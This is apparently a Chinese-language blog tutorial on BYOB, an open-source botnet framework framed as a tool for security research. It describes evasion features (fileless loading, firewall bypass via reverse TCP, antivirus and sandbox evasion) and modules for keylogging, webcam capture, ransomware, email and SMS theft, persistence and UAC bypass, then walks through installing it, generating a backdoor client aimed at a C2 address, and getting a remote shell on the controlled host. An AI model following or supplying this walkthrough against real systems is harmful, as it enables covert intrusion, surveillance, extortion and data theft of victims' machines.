byob--建立自己的僵尸网络
BYOB是一个开源项目,为安全研究人员和开发人员提供构建和运行基本僵尸网络的框架,以加深他们对每年感染数百万设备并产生现代僵尸网络的复杂恶意软件的理解,以提高他们的能力,制定应对这些威胁的对策。
它旨在允许开发人员轻松实现自己的代码并添加新功能,而无需从头开始编写RAT(远程管理工具)或 C2(命令和控制服务器)。
RAT的关键特性是任意代码/文件可以从C2远程加载到内存中并在目标机器上执行,而无需向磁盘写入任何内容。
---------------------------------------- github链接:https://github.com/malwaredllc/byob
----------------------------------------
使用有效负载,远程导入生成完全不可检测的客户端
远程导入:从服务器远程导入第三方软件包,而无需将其写入磁盘或下载/安装它们 不写入磁盘:客户端从不向磁盘写入任何内容 - 甚至不是临时文件(进行零IO系统调用),因为远程导入允许将任意代码动态加载到内存中并直接导入到当前正在运行的进程中 零依赖(甚至不是Python本身):客户端只运行python标准库,从服务器远程导入任何非标准软件包/模块,并可以使用独立的python解释器编译成为任何平台/格式化的可移植二进制可执行文件体系结构,允许它在任何东西上运行,即使目标主机上缺少Python本身 只需单击一下即可添加新功能:./byob/modules/当您的命令和控制服务器运行时,您要复制到目录的任何python脚本,模块或程序包将自动变为可远程导入并可由每个客户端直接使用 编写自己的模块:./byob/modules/目录中提供了一个基本模块模板,使您自己编写模块成为一个简单,无障碍的过程 在不增加文件大小的情况下运行无限模块:使用远程导入添加无限功能,而无需向客户端的文件大小添加单个字节 完全可更新:每个客户端将定期检查服务器是否有可用于远程导入的新内容,并且如果添加/删除了任何内容,将动态更新其内存资源 平台无关:一切都是用Python(与平台无关的语言)编写的,生成的客户端可以选择编译成可移植的可执行文件(Windows)或捆绑到独立的应用程序(macOS)中 绕过防火墙:客户端通过反向TCP连接连接到命令和控制服务器,这将绕过大多数防火墙,因为默认过滤器配置主要阻止传入连接 针对防病毒的反措施:通过阻止来自产生已知防病毒产品名称的进程来避免被防病毒软件分析 加密有效负载以防止分析:主客户端有效负载使用随机256位密钥加密,该密钥仅存在于与其一起生成的有效负载stager中 防止逆向工程:默认情况下,如果检测到虚拟机或沙箱,客户端将中止执行
模块
11个远程导入的开发后模块
Keylogger(byob.modules.keylogger):记录用户的击键和输入的窗口名称 屏幕截图(byob.modules.screenshot):截取当前用户桌面的截图 网络摄像头(byob.modules.webcam):查看实时流或从网络摄像头捕获图像/视频 Ransom(byob.modules.ransom):加密文件并生成随机BTC钱包以支付赎金 Outlook(byob.modules.outlook):从本地Outlook客户端读取/搜索/上传电子邮件 Packet Sniffer(byob.modules.packetsniffer):在主机网络上运行数据包嗅探器并上传.pcap文件 Persistence(byob.modules.persistence):使用5种不同的方法在主机上建立持久性 电话(byob.modules.phone):从客户端智能手机读取/搜索/上传短信 Escalate Privileges(byob.modules.escalate):尝试UAC绕过以获得未经授权的管理员权限 端口扫描程序(byob.modules.portscanner):扫描本地网络以查找其他在线设备和打开端口 Process Control(byob.modules.process):list / search / kill / monitor当前正在主机上运行的进程
核心
生成器和服务器使用的6个核心框架模块
Utilities(byob.core.util):许多模块使用的各种实用程序函数 Handlers(byob.core.handlers):请求处理程序以从客户端接收已完成任务的结果 安全性(byob.core.security):Diffie-Hellman IKE和3种加密模式(AES-256-OCB,AES-256-CBC,XOR-128) Loaders(byob.core.loaders):从服务器远程导入任何包/模块/脚本 Payloads(byob.core.payloads):反向TCP shell,旨在远程导入依赖项,包和模块 Stagers(byob.core.stagers):生成独特的有效载荷分级器以防止分析和检测 Generators(byob.core.generators):所有动态生成客户端生成器代码的函数 Database(byob.core.database):处理命令和控制服务器与SQLite数据库之间的交互
----------------------------------------
安装:
git clone https://github.com/malwaredllc/byob
下载完后进入boby目录里面
pip install -r requirements.txt
现在已经就是安装完了
client.py是生成客户端,server.py为服务端
python client.py --help
|usage: client.py [-h] [--name NAME] [--icon ICON] [--pastebin API] [--encrypt]
[--compress] [--freeze] [-v] | host port [module [module ...]] |
---|---|
Generator (Build Your Own Botnet) | |
positional arguments: | |
host 服务器ip地址 | |
port 端口 | |
module 在运行时远程导入的模块 | |
optional arguments: | |
-h, --help 查看帮助 | |
--name NAME 生成的文件名 | |
--icon ICON 图标(指定文件位置) | |
--pastebin API 上传有效载荷到pastebin(不是在c2服务器上托管) | |
--encrypt 用随机128位密钥加密有效载荷嵌入在有效载荷的阶段 | |
--compress 压缩生一个自解压的python脚本 | |
--freeze 将客户端编译为当前主机平台的独立可执行文件 | |
-v, --version 查看版本号 |
--------------------------------------
(server.py的help就不解释了)
我们先生成一个客户端(本次试验没用模块)
python client.py --name test(取名为test) 192.168.1.110(服务器IP地址) 4444(端口号)
现在我们就可以看到已经生成了python的后门程序,我们可以打开看一下
现在我们新开启一个终端
python server.py --host 192.168.1.110 --port 4444 (等待被控端运行***自动链接)
这时候我们在被控端运行生成的test.py
我们再回到服务器端就可以了看到已经链接到了
然后我们输入help查看帮助信息
[root @ /usr/src/byob/byob]>help
bg [id] 后台会话(默认为当前会话)
broadcast
clients 显示所有已加入服务器的客户端
debug 直接在服务器上运行python代码(debug必须启用调试)
exit 退出
help 查看帮助
kill
options 显示当前配置
query
ransom [id] 为比特币支付加密客户端文件和RANSOM加密密钥
results [id] 为客户端显示所有已完成的结果 (默认所有客户端)
sessions 显示活动客户端会话
set
shell
tasks [id] 显示客户端所有未完成会话 (默认所有客户端)
webcam
----------------------------------------
查看到我的id是1,用户名是root且是管理员
[root @ /usr/src/byob/byob]>shell 1
正常查看ip地址
实验成功
----------------------------------------
此脚本还在继续添加新功能,坐等